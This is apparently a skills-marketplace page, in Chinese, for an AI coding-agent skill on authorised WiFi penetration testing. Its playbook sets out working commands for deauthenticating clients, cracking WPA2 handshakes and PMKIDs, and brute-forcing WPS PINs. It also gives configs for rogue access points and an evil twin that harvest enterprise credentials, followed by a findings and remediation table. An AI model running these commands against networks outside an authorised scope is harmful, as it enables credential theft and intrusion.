mcpField
P
performing-wireless-network-penetration-test

performing-wireless-network-penetration-test

github.com/mukul975安全35.2k100 次安装8 周前更新
代码仓库

关于 performing-wireless-network-penetration-test

面向安全评估人员的无线网络渗透测试技能,用于验证 WiFi 安全控制。内容涵盖侦察、攻击测试及常见无线安全问题的发现记录。

主要功能

  1. 01无线网络侦察
  2. 02WPA2-PSK 握手与密钥测试
  3. 03WPA2-Enterprise 与 evil twin 测试
  4. 04恶意接入点与客户端隔离检查
  5. 05WPS 安全测试
  6. 06发现项与修复建议模板

适用场景

  1. 01审计获授权的企业 WiFi
  2. 02检查访客网络客户端隔离
  3. 03评估接入点加密与 WPS
  4. 04记录无线安全发现项

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-wireless-network-penetration-test

安装后在 Claude Code 中输入/performing-wireless-network-penetration-test确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

详细介绍

执行无线网络渗透测试

概述

无线渗透测试用于评估组织 WiFi 基础设施的安全性,包括加密强度、认证机制、恶意接入点检测、客户端隔离以及网络分段。测试涵盖 802.11a/b/g/n/ac/ax 协议、WPA2-PSK、WPA2-Enterprise、WPA3-SAE、强制门户(captive portal),以及在范围内时的蓝牙/BLE。

何时使用

  • 在开展涉及执行无线网络渗透测试的安全评估时
  • 在针对相关安全事件遵循事件响应流程时
  • 在执行计划内的安全测试或审计活动时
  • 在通过实际操作测试验证安全控制措施时

前置条件

  • 书面授权,明确无线范围(SSID、BSSID、物理位置)
  • 支持监听模式和数据包注入的兼容无线网卡(例如 Alfa AWUS036ACH、TP-Link TL-WN722N v1)
  • 安装了 Aircrack-ng 套件、Bettercap、Wifite、Kismet 的 Kali Linux
  • 与目标无线网络处于物理邻近范围内
  • 用于测绘的 GPS 接收器(可选)

阶段 1 — 无线侦察

启用监听模式
# Check wireless interfaces
iwconfig
airmon-ng

# Kill interfering processes
airmon-ng check kill

# Enable monitor mode
airmon-ng start wlan0
# Interface becomes wlan0mon

# Verify monitor mode
iwconfig wlan0mon
被动扫描
# Discover all networks in range
airodump-ng wlan0mon -w wireless_scan --output-format csv,pcap

# Filter by specific channel
airodump-ng wlan0mon -c 6 -w channel6_scan

# Scan 5GHz band
airodump-ng wlan0mon --band a -w 5ghz_scan

# Scan all bands
airodump-ng wlan0mon --band abg -w full_scan

# Kismet passive scanning (advanced)
kismet -c wlan0mon
# Access web UI at http://localhost:2501
网络清单
SSIDBSSID信道加密客户端信号
CorpWiFiAA:BB:CC:DD:EE:016WPA2-Enterprise45-55dBm
CorpGuestAA:BB:CC:DD:EE:0211WPA2-PSK12-60dBm
PrinterNetAA:BB:CC:DD:EE:031WEP3-70dBm
HiddenSSIDAA:BB:CC:DD:EE:0436WPA2-PSK8-65dBm

阶段 2 — WPA2-PSK 攻击

捕获四次握手
# Target specific network
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:02 -w corpguest wlan0mon

# Deauthenticate a client to force reconnection (handshake capture)
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:02 -c FF:FF:FF:FF:FF:FF wlan0mon

# Verify handshake captured
aircrack-ng corpguest-01.cap
# Look for "1 handshake" in output
破解 WPA2 密钥
# Dictionary attack with Aircrack-ng
aircrack-ng -w /usr/share/wordlists/rockyou.txt corpguest-01.cap

# GPU-accelerated cracking with Hashcat
# Convert cap to hccapx format
hcxpcapngtool -o hash.hc22000 corpguest-01.cap

# Hashcat mode 22000 (WPA-PBKDF2-PMKID+EAPOL)
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# PMKID attack (no client needed)
hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_dump.pcapng \
  --filterlist_ap=AA:BB:CC:DD:EE:02 --filtermode=2
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_dump.pcapng
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt

阶段 3 — WPA2-Enterprise 攻击

# Set up rogue AP with EAP credential harvesting
# Using hostapd-mana
cat > hostapd-mana.conf << 'EOF'
interface=wlan0mon
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=3
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=hostapd.eap_user
mana_wpe=1
mana_credout=creds.txt
EOF

# EAP user file
cat > hostapd.eap_user << 'EOF'
*   PEAP,TTLS,TLS,FAST
"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAP "t" [2]
EOF

hostapd-mana hostapd-mana.conf

# Captured MSCHAP challenges can be cracked
# Crack NetNTLMv1 from EAP-MSCHAP
hashcat -m 5500 creds.txt /usr/share/wordlists/rockyou.txt

阶段 4 — 邪恶双胞胎攻击

# Create evil twin with Bettercap
sudo bettercap -iface wlan0mon

# Within Bettercap:
wifi.recon on
wifi.ap

# Or manual evil twin with hostapd + dnsmasq
cat > evil_twin.conf << 'EOF'
interface=wlan1
ssid=CorpGuest
hw_mode=g
channel=6
driver=nl80211
auth_algs=1
wpa=0
EOF

# Start captive portal
hostapd evil_twin.conf &
dnsmasq --no-daemon --interface=wlan1 --dhcp-range=192.168.1.10,192.168.1.100,12h \
  --address=/#/192.168.1.1

# Deauth clients from real AP to force connection to evil twin
aireplay-ng -0 0 -a AA:BB:CC:DD:EE:02 wlan0mon

阶段 5 — 附加测试

恶意 AP 检测
# Compare authorized AP list against discovered APs
# Authorized BSSIDs from client documentation
# Flag any unknown BSSIDs broadcasting corporate SSIDs

# Check for misconfigured APs
# Personal hotspots bridging to corporate network
# IoT devices with default WiFi settings
客户端隔离测试
# After connecting to guest network:
# Scan for other clients
nmap -sn 192.168.10.0/24

# Attempt to reach corporate resources
nmap -sT -p 80,443,445,3389 10.0.0.0/24

# Test VLAN hopping
# If guest network is not properly segmented from corporate
WPS 攻击
# Check for WPS-enabled APs
wash -i wlan0mon

# WPS PIN bruteforce (if WPS enabled and not rate-limited)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -vv

# Pixie-Dust attack (offline WPS PIN recovery)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -K 1 -vv

发现事项模板

发现事项严重性CVSS修复措施
使用弱口令的 WPA2-PSK高8.1使用 20 个字符以上的口令,或迁移到 WPA2-Enterprise
打印机网络上的 WEP 加密严重9.1升级到 WPA2/WPA3,对打印机 VLAN 进行分段
访客 AP 上启用了 WPS中5.3在所有接入点上禁用 WPS
访客网络未启用客户端隔离高7.5启用 AP 隔离和 VLAN 分段
企业 SSID 在恶意 AP 上广播高8.1部署 WIDS/WIPS,实施带证书验证的 802.1X
未固定证书的 EAP-MSCHAP高7.5在所有客户端上强制实施服务器证书验证

参考资料

评论

支持 Markdown